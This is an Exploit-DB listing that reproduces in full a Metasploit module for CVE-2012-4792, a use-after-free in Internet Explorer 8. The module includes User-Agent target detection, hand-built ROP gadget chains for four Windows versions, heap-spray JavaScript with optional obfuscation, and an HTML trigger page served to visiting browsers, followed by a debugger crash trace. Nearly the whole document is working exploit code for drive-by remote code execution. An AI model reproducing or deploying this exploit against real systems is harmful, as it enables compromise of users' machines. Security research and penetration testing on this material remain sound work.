标题: Microsoft Internet Explorer - CButton Object Use-After-Free (Metasploit) EDB-ID: 23785 CVE: 2012-4792 类型: REMOTE 平台: WINDOWS 发布日期: 2013-01-02 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::RopDb
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "8.0",
  :ua_maxver  => "8.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :rank       => GoodRanking
 })

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability found in Microsoft Internet Explorer. A
    use-after-free condition occurs when a CButton object is freed, but a reference
    is kept and used again during a page reload, an invalid memory that's controllable
    is used, and allows arbitrary code execution under the context of the user.

     Please note: This vulnerability has been exploited in the wild targeting
    mainly China/Taiwan/and US-based computers.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'eromang',
     'mahmud ab rahman',
     'juan vazquez',      #Metasploit
     'sinn3r',            #Metasploit
     'Peter Vreugdenhil'  #New trigger & new exploit technique
    ],
   'References'     =>
    [
     [ 'CVE', '2012-4792' ],
     [ 'US-CERT-VU', '154201' ],
     [ 'BID', '57070' ],
     [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
     [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
     [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
     [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
     [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
     [ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
     [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
    ],
   'Payload'        =>
    {
     'BadChars'       => "\x00",
     'Space'          => 1024,
     'DisableNops'    => true
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
     [ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
     [ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
     [ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Dec 27 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class)

 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

  ie_name = "IE #{ie}"

  case nt
  when '5.1'
   os_name = 'Windows XP SP3'
  when '5.2'
   os_name = 'Windows Server 2003'
  when '6.0'
   os_name = 'Windows Vista'
  when '6.1'
   os_name = 'Windows 7'
  else
   # OS not supported
   return nil
  end

  targets.each do |t|
   if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
   end
  end

  return nil
 end

 def ie8_smil(my_target, p)

  case my_target['Rop']
  when :msvcrt
   case my_target.name
   when 'IE 8 on Windows XP SP3'
    align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
    xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
   when 'IE 8 on Windows Server 2003'
    align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
    xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
   end
  else
   align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
   xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
  end

  padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
  js_payload = Rex::Text.to_unescape(p)

  js = %Q|
  unicorn = unescape("#{padding}");
  for (i=0; i < 3; i++) {
   unicorn += unescape("#{padding}");
  }

  unicorn += unescape("#{js_payload}");

  animvalues = unescape("#{align_esp}");

  for (i=0; i < 0xDC/4; i++) {
   if (i == 0xDC/4-1) {
    animvalues += unescape("#{xchg_esp}");
   }
   else {
    animvalues += unescape("#{align_esp}");
   }
  }

  animvalues += unicorn;

  for(i = 0; i < 21; i++) {
   animvalues += ";cyan";
  }
  |

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  return js
 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V")[0].to_i
 end

 def nop
  return make_nops(4).unpack("V")[0].to_i
 end

 def get_payload(t, cli)
  code = payload.encoded

  # No rop. Just return the payload.
  return code if t['Rop'].nil?

  case t['Rop']
  when :msvcrt
   case t.name
   when 'IE 8 on Windows XP SP3'
    rop_gadgets =
    [
     0x77c1e844, # POP EBP # RETN [msvcrt.dll]
     0x77c1e844, # skip 4 bytes [msvcrt.dll]
     0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
     0xffffffff,
     0x77c127e5, # INC EBX # RETN [msvcrt.dll]
     0x77c127e5, # INC EBX # RETN [msvcrt.dll]
     0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
     0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
     0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
     0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
     0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
     0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
     0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
     0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
     0x77c3048a, # POP EDI # RETN [msvcrt.dll]
     0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
     0x77c46efb, # POP ESI # RETN [msvcrt.dll]
     0x77c2aacc, # JMP [EAX] [msvcrt.dll]
     0x77c3b860, # POP EAX # RETN [msvcrt.dll]
     0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
     0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
     0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
    ].pack("V*")
   when 'IE 8 on Windows Server 2003'
    rop_gadgets =
    [
     0x77bb2563, # POP EAX # RETN
     0x77ba1114, # <- *&VirtualProtect()
     0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
     junk,
     0x77bb0c86, # XCHG EAX,ESI # RETN
     0x77bc9801, # POP EBP # RETN
     0x77be2265, # ptr to 'push esp #  ret'
     0x77bb2563, # POP EAX # RETN
     0x03C0990F,
     0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
     0x77bb48d3, # POP EBX, RET
     0x77bf21e0, # .data
     0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
     0x77bbfc02, # POP ECX # RETN
     0x77bef001, # W pointer (lpOldProtect) (-> ecx)
     0x77bd8c04, # POP EDI # RETN
     0x77bd8c05, # ROP NOP (-> edi)
     0x77bb2563, # POP EAX # RETN
     0x03c0984f,
     0x77bdd441, # SUB EAX, 03c0940f
     0x77bb8285, # XCHG EAX,EDX # RETN
     0x77bb2563, # POP EAX # RETN
     nop,
     0x77be6591  # PUSHAD # ADD AL,0EF # RETN
    ].pack("V*")
   end
  else
   rop_gadgets =
   [
    0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
    0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
    0x7c3415a2, # JMP [EAX] [msvcr71.dll]
    0xffffffff,
    0x7c376402, # skip 4 bytes [msvcr71.dll]
    0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
    0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
    0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
    0x7c344f87, # POP EDX # RETN [msvcr71.dll]
    0xffffffc0, # Value to negate, will become 0x00000040
    0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
    0x7c34d201, # POP ECX # RETN [msvcr71.dll]
    0x7c38b001, # &Writable location [msvcr71.dll]
    0x7c347f97, # POP EAX # RETN [msvcr71.dll]
    0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
    0x7c345c30  # ptr to 'push esp #  ret ' [msvcr71.dll]
    # rop chain generated with mona.py
   ].pack("V*")
  end

  rop_payload = rop_gadgets
  case t['Rop']
  when :msvcrt
   rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  else
   rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
  end
  rop_payload << code
  rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt

  return rop_payload
 end

 def load_exploit_html(my_target, cli)

  p  = get_payload(my_target, cli)
  js = ie8_smil(my_target, p)

  html = %Q|
  <!doctype html>
  <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  <head>
  <meta>
   <?IMPORT namespace="t" implementation="#default#time2">
  </meta>

  <script>
  function helloWorld()
  {
   e_form = document.getElementById("formelm");
   e_div = document.getElementById("divelm");

   #{js}

   for(i =0; i < 20; i++) {
    document.createElement('button');
   }
   e_div.appendChild(document.createElement('button'))
   e_div.firstChild.applyElement(e_form);

   e_div.innerHTML = ""
   e_div.appendChild(document.createElement('body'));

   CollectGarbage();

   try {
    a = document.getElementById('myanim');
    a.values = animvalues;
   }
   catch(e) {}
  }

  </script>
  </head>
  <body onload="eval(helloWorld())">
  <t:ANIMATECOLOR id="myanim"/>
  <div id="divelm"></div>
  <form id="formelm">
  </form>
  </body>
  </html>
  |

  return html
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri   = request.uri
  print_status("Requesting: #{uri}")

  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
   print_error("Browser not supported, sending 404: #{agent}")
   send_not_found(cli)
   return
  end

  html = load_exploit_html(my_target, cli)
  html = html.gsub(/^\t\t/, '')
  print_status("Sending HTML...")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end

end


=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37

0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
=end URL: https://www.exploit-db.com/exploits/23785